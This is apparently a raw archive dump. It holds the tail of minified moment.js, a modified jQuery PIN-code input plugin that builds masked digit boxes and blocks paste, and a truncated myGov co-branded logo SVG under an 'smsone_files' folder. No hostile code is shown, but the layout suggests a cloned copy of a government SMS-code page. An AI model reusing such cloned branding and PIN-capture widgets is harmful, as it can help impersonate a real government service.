t/7+s/6048e5;case"day":return t+s/864e5;case"hour":return 24*t+s/36e5;case"minute":return 1440*t+s/6e4;case"second":return 86400*t+s/1e3;case"millisecond":return Math.floor(864e5*t)+s;default:throw new Error("Unknown unit "+e)}},jn.asMilliseconds=On,jn.asSeconds=Tn,jn.asMinutes=xn,jn.asHours=bn,jn.asDays=Pn,jn.asWeeks=Wn,jn.asMonths=Hn,jn.asYears=Rn,jn.valueOf=function(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*g(this._months/12):NaN},jn._bubble=function(){var e,t,n,s,i,r=this._milliseconds,a=this._days,o=this._months,u=this._data;return r>=0&&a>=0&&o>=0||r<=0&&a<=0&&o<=0||(r+=864e5*je(ze(o)+a),a=0,o=0),u.milliseconds=r%1e3,e=y(r/1e3),u.seconds=e%60,t=y(e/60),u.minutes=t%60,n=y(t/60),u.hours=n%24,a+=y(n/24),i=y(Ze(a)),o+=i,a-=je(ze(i)),s=y(o/12),o%=12,u.days=a,u.months=o,u.years=s,this},jn.clone=function(){return xe(this)},jn.get=function(e){return e=O(e),this.isValid()?this[e+"s"]():NaN},jn.milliseconds=Cn,jn.seconds=Fn,jn.minutes=Un,jn.hours=Ln,jn.days=Nn,jn.weeks=function(){return y(this.days()/7)},jn.months=Gn,jn.years=Vn,jn.humanize=function(e){if(!this.isValid())return this.localeData().invalidDate();var t=this.localeData(),n=function(e,t,n){var s=xe(e).abs(),i=En(s.as("s")),r=En(s.as("m")),a=En(s.as("h")),o=En(s.as("d")),u=En(s.as("M")),l=En(s.as("y")),d=i<=In.ss&&["s",i]||i<In.s&&["ss",i]||r<=1&&["m"]||r<In.m&&["mm",r]||a<=1&&["h"]||a<In.h&&["hh",a]||o<=1&&["d"]||o<In.d&&["dd",o]||u<=1&&["M"]||u<In.M&&["MM",u]||l<=1&&["y"]||["yy",l];return d[2]=t,d[3]=+e>0,d[4]=n,function(e,t,n,s,i){return i.relativeTime(t||1,!!n,e,s)}.apply(null,d)}(this,!e,t);return e&&(n=t.pastFuture(+this,n)),t.postformat(n)},jn.toISOString=Be,jn.toString=Be,jn.toJSON=Be,jn.locale=Ce,jn.localeData=Fe,jn.toIsoString=v("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",Be),jn.lang=gn,P("X",0,0,"unix"),P("x",0,0,"valueOf"),C("x",Mt),C("X",/[+-]?\d+(\.\d{1,3})?/),L("X",function(e,t,n){n._d=new Date(1e3*parseFloat(e,10))}),L("x",function(e,t,n){n._d=new Date(g(e))}),e.version="2.20.1",function(e){Qe=e}(pe),e.fn=Dn,e.min=function(){return we("isBefore",[].slice.call(arguments,0))},e.max=function(){return we("isAfter",[].slice.call(arguments,0))},e.now=function(){return Date.now?Date.now():+new Date},e.utc=l,e.unix=function(e){return pe(1e3*e)},e.months=function(e,t){return Ee(e,t,"months")},e.isDate=r,e.locale=ae,e.invalid=c,e.duration=xe,e.isMoment=_,e.weekdays=function(e,t,n){return Ie(e,t,n,"weekdays")},e.parseZone=function(){return pe.apply(null,arguments).parseZone()},e.localeData=ue,e.isDuration=Me,e.monthsShort=function(e,t){return Ee(e,t,"monthsShort")},e.weekdaysMin=function(e,t,n){return Ie(e,t,n,"weekdaysMin")},e.defineLocale=oe,e.updateLocale=function(e,t){if(null!=t){var n,s,i=Qt;null!=(s=re(e))&&(i=s._config),(n=new k(t=D(i,t))).parentLocale=Xt[e],Xt[e]=n,ae(e)}else null!=Xt[e]&&(null!=Xt[e].parentLocale?Xt[e]=Xt[e].parentLocale:null!=Xt[e]&&delete Xt[e]);return Xt[e]},e.locales=function(){return nt(Xt)},e.weekdaysShort=function(e,t,n){return Ie(e,t,n,"weekdaysShort")},e.normalizeUnits=O,e.relativeTimeRounding=function(e){return void 0===e?En:"function"==typeof e&&(En=e,!0)},e.relativeTimeThreshold=function(e,t){return void 0!==In[e]&&(void 0===t?In[e]:(In[e]=t,"s"===e&&(In.ss=t-1),!0))},e.calendarFormat=function(e,t){var n=e.diff(t,"days",!0);return n<-6?"sameElse":n<-1?"lastWeek":n<0?"lastDay":n<1?"sameDay":n<2?"nextDay":n<7?"nextWeek":"sameElse"},e.prototype=Dn,e.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"YYYY-[W]WW",MONTH:"YYYY-MM"},e});
/* =========================================================
 * bootstrap-pincode-input.js
 *
 * =========================================================
 * Created by Ferry Kranenburg
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 * ========================================================= */


;(function ( $, window, document, undefined ) {

	"use strict";


		// Create the defaults once
		var pluginName = "pincodeInput";
		var defaults = {
				placeholders:undefined,							// seperate with a " "(space) to set an placeholder for each input box
		    	inputs:4,									    // 4 input boxes = code of 4 digits long
		    	hidedigits:true,								// hide digits
		    	keydown : function(e){},
		    	change: function(input,value,inputnumber){		// callback on every input on change (keyup event)
		    		//input = the input textbox DOM element
		    		//value = the value entered by user (or removed)
		    		//inputnumber = the position of the input box (in touch mode we only have 1 big input box, so always 1 is returned here)
		    	},
		    	blur: function(value, e, errorElement){
		    		//value = the entered code
		    		//e = last keyup event
		    		//errorElement = error span next to to this, fill with html e.g. : $(errorElement).html("Code not correct");
		    	},
		        complete : function(value, e, errorElement){	// callback when all inputs are filled in (keyup event)
		    		//value = the entered code
		    		//e = last keyup event
		    		//errorElement = error span next to this, fill with html e.g. : $(errorElement).html("Code not correct");
		    	}
		    };

		// The actual plugin constructor
		function Plugin ( element, options ) {
				this.element = element;
				this.settings = $.extend( {}, defaults, options );
				this._defaults = defaults;
				this._name = pluginName;
				this.init();
		}

		// Avoid Plugin.prototype conflicts
		$.extend(Plugin.prototype, {
				init: function () {
					this.buildInputBoxes();
					
				},
		        updateOriginalInput:function(){
		        	var newValue = "";
		        	$('.pincode-input-text',this._container).each(function( index, value ) {
		        		newValue += $(value).val().toString();
		        	});
		        	$(this.element).val(newValue);
		        },
		        check: function(){
		        	var isComplete = true;
		        	var code = "";
		        	$('.pincode-input-text',this._container).each(function( index, value ) {
		        		code += $(value).val().toString();
		        		if(!$(value).val()){
		        			isComplete = false;
		        		}
		        	});

		        	if(this._isTouchDevice()){
		        		// check if single input has it all
		        		if(code.length == this.settings.inputs){
		        			return true;
		        		}
		        	}else{
		        		return isComplete;
		        	}
		        },
				buildInputBoxes: function () {
					this._container = $('<div />').addClass('pincode-input-container');

					
					
					var currentValue = [];
					var placeholders = [];
					var touchplaceholders = "";  //in touch mode we have just 1 big input box, and there is only 1 placeholder in this case
					
					if(this.settings.placeholders){
						placeholders = this.settings.placeholders.split(" ");
						touchplaceholders = this.settings.placeholders.replace(/ /g,"");
					}
					
					// If we do not hide digits, we need to include the current value of the input box
					// This will only work if the current value is not longer than the number of input boxes.
					if( this.settings.hidedigits == false && $(this.element).val() !=""){
						currentValue = $(this.element).val().split("");
					}

					// make sure this is the first password field here
					if(this.settings.hidedigits){
						this._pwcontainer = $('<div />').css("display", "none").appendTo(this._container);
						this._pwfield = $('<input>').attr({'type':'password','pattern': "[0-9]*", 'inputmode':"numeric",'id':'preventautofill','autocomplete':'off'}).appendTo(this._pwcontainer);
					}

					if(this._isTouchDevice()){
						// set main class
						$(this._container).addClass("touch");
						
						// For touch devices we build a html table directly under the pincode textbox. The textbox will become transparent
						// This table is used for styling only, it will display how many 'digits' the user should fill in.
						// With CSS letter-spacing we try to put every digit visually insize each table cell.
						
						var wrapper = $('<div />').addClass('touchwrapper touch'+this.settings.inputs).appendTo(this._container);
						var input = $('<input>').attr({'id':'pincode-input','type':'number','pattern': "[0-9]*", 'placeholder':touchplaceholders, 'inputmode':"numeric",'maxlength':this.settings.inputs,'autocomplete':'off', 'data-pin':'data-pin'}).addClass('form-control pincode-input-text conceal').appendTo(wrapper);
		        		
						var touchtable = $('<table>').addClass('touchtable').appendTo(wrapper);
						var row = $('<tr/>').appendTo(touchtable);
						// create touch background elements (for showing user how many digits must be entered)
						for (var i = 0; i <  this.settings.inputs; i++) {
							if(i == (this.settings.inputs-1)){
								$('<td/>').addClass('last').appendTo(row);
							}else{
								$('<td/>').appendTo(row);
							}							
						}						
						if(this.settings.hidedigits){
							// hide digits
		        			input.attr('type','tel');
		        		}else{
							// show digits, also include default value
							input.val(currentValue[i]);
						}

		        		// add events
		        		this._addEventsToInput(input,1);

					}else{
						// for desktop mode we build one input for each digit
			        	for (var i = 0; i <  this.settings.inputs; i++) {

			        		var input = $('<input>').attr({'id':'pincode-input','type':'text','maxlength':"1",'autocomplete':'off','placeholder':(placeholders[i] ? placeholders[i] : undefined)}).addClass('form-control pincode-input-text conceal').appendTo(this._container);
			        		if(this.settings.hidedigits) {
										// hide digits
			        			input.attr('type','tel');
			        		}else{
								// show digits, also include default value
								input.val(currentValue[i]);
							}

			        		if(i==0){
			        			input.addClass('first');
			        		}else if(i==(this.settings.inputs-1)){
			        			input.addClass('last');
			        		}else{
			        			input.addClass('mid');
			        		}

			        		// add events
			        		this._addEventsToInput(input,(i+1));
			        	}
					}


		        	// error box
		        	this._error = $('<div />').addClass('text-danger pincode-input-error').appendTo(this._container);

		        	//hide original element and place this before it
		        	$(this.element).css( "display", "none" );
		            this._container.insertBefore(this.element);
				},
				enable:function(){
					 $('.pincode-input-text',this._container).each(function( index, value ) {
								$(value).prop('disabled', false);
					});
				},
				disable:function(){
					 $('.pincode-input-text',this._container).each(function( index, value ) {
								$(value).prop('disabled', true);
					});
				},
				focus:function(){
					$('.pincode-input-text',this._container).first().select().focus();
				},
				clear:function(){
					 $('.pincode-input-text',this._container).each(function( index, value ) {
		         		$(value).val("");
		         	});
		         	this.updateOriginalInput();
				},
				_isTouchDevice:function(){
					// I know, sniffing is a really bad idea, but it works 99% of the times
					if( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ) {
					 	return true;
					}
				},
				_addEventsToInput:function(input,inputnumber){
					input.on('click', function (e) {
						var that = this;
						setTimeout(function(){ that.selectionStart = that.selectionEnd = 10000; }, 0);
					});
						

	        		//input.on('focus',function(e){
	        		//	//this.select();  //automatically select current value
	        		//});
	        		
	        		input.on('cut copy paste',function(e){
	        			e.preventDefault();
	        			e.stopPropagation();
	        		});

	        		input.on('blur', $.proxy(function(e){
	        			this.settings.blur($(this.e).val(), e, this._error);

						//Validate if the pin is empty or less than 4 digits.
						if (formHelper.isEmpty($(this.element).val())) {
							formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers');
							return false;
						} else if($(this.element).val().length < this.settings.inputs){
							formHelper.setError($(e.currentTarget), 'Your PIN must contain 4 numbers');
							return false;
						}else {
							formHelper.clearError($(e.currentTarget));
							return true;
						}
						
			        },this));
	        		
	        		input.on('keydown', $.proxy(function(e){
							if(this._pwfield){
								// Because we need to prevent password saving by browser
								// remove the value here and change the type!
								// we do this every time the user types
								$(this._pwfield).attr({'type':'text'});
								$(this._pwfield).val("");
							}

							// prevent more input for touch device (we can't limit it)
							if(this._isTouchDevice()){
								if(e.keyCode  == 8 || e.keyCode  == 46){
									// do nothing on backspace and delete
									
								}else{
									//console.log("$(this.element).val().length" + $(this.element).val().length);
									//console.log("this.settings.inputs" + this.settings.inputs);
									if($(this.element).val().length == this.settings.inputs){
										e.preventDefault();
									    e.stopPropagation();
									}
								}
						
							}else{
								// in desktop mode, check if an number was entered
								
								if( !(e.keyCode == 8                                // backspace key
										|| e.keyCode == 9							// tab key
								        || e.keyCode == 46                          // delete key
								        || (e.keyCode >= 48 && e.keyCode <= 57)     // numbers on keyboard
								        || (e.keyCode >= 96 && e.keyCode <= 105))   // number on keypad
								        ) {
								            e.preventDefault();     // Prevent character input
								            e.stopPropagation();  
								            
								    }
								
							}

						 this.settings.keydown(e);
		            },this));
	        		
//	        		input.on('blur', $.proxy(function(e) {
//	        			if(!this._isTouchDevice()) {
//		        			if (e != null && $(e).val()) {
//		        				console.log("not null" + $(e).val());
//		        				$("#tstspan").text($(e).val());
//		        				pinCreation.validate($(this));
//		        			}
//	        			}
//	        		};
	        		

	        		input.on('keyup', $.proxy(function(e){
			        	// after every keystroke we check if all inputs have a value, if yes we call complete callback
	        			if(!this._isTouchDevice()){
		        			// on backspace or delete go to previous input box
		        			if(e.keyCode  == 8 || e.keyCode  == 46){
		        				// goto previous
		        				$(e.currentTarget).prev().select();
		    					$(e.currentTarget).prev().focus();
		        			}else{
		        				if($(e.currentTarget).val()!=""){
		            				$(e.currentTarget).next().select();
		        					$(e.currentTarget).next().focus();
		        				}
		        			}
	        			}
	        			
						// update original input box
	        			this.updateOriginalInput();

	        			// oncomplete check
	        			if(this.check()){
	        				this.settings.complete($(this.element).val(), e, this._error);
	        			}
	        			
	        			//onchange event for each input
	        			if(this.settings.change){
	        				this.settings.change(e.currentTarget,$(e.currentTarget).val(),inputnumber);
	        			}
	
	        			
	        			// prevent more input for touch device (we can't limit it)
						if(this._isTouchDevice()){
							if(e.keyCode  == 8 || e.keyCode  == 46){
								// do nothing on backspace and delete								
							}else{
								if($(this.element).val().length == this.settings.inputs){
								    $(e.currentTarget).blur();
									//$(e.currentTarget).focus();
								}
							}
							if($(this.element).val().length > 0){
                                //$(this.element).val($(this.element).val().toString().replace(/[^0-9]/g, ''));
                                var newLineCheck = $(this.element).val().toString().replace(/\r?\n|\r/g, '');
                                $('.pincode-input-text',this._container).each(function( index, value ) {
                                    $(value).val(newLineCheck);
                                });
                                this.updateOriginalInput();
                            }
						}
	        			
			        },this));
				}


		});

		// A really lightweight plugin wrapper around the constructor,
		// preventing against multiple instantiations
		$.fn[ pluginName ] = function ( options ) {
				return this.each(function() {
						if ( !$.data( this, "plugin_" + pluginName ) ) {
								$.data( this, "plugin_" + pluginName, new Plugin( this, options ) );
						}
				});
		};

})( jQuery, window, document );



mygov/app/smsone_files/myGov-cobranded-logo-black.svg000064400000175217151676702570016761 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#231f20;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" 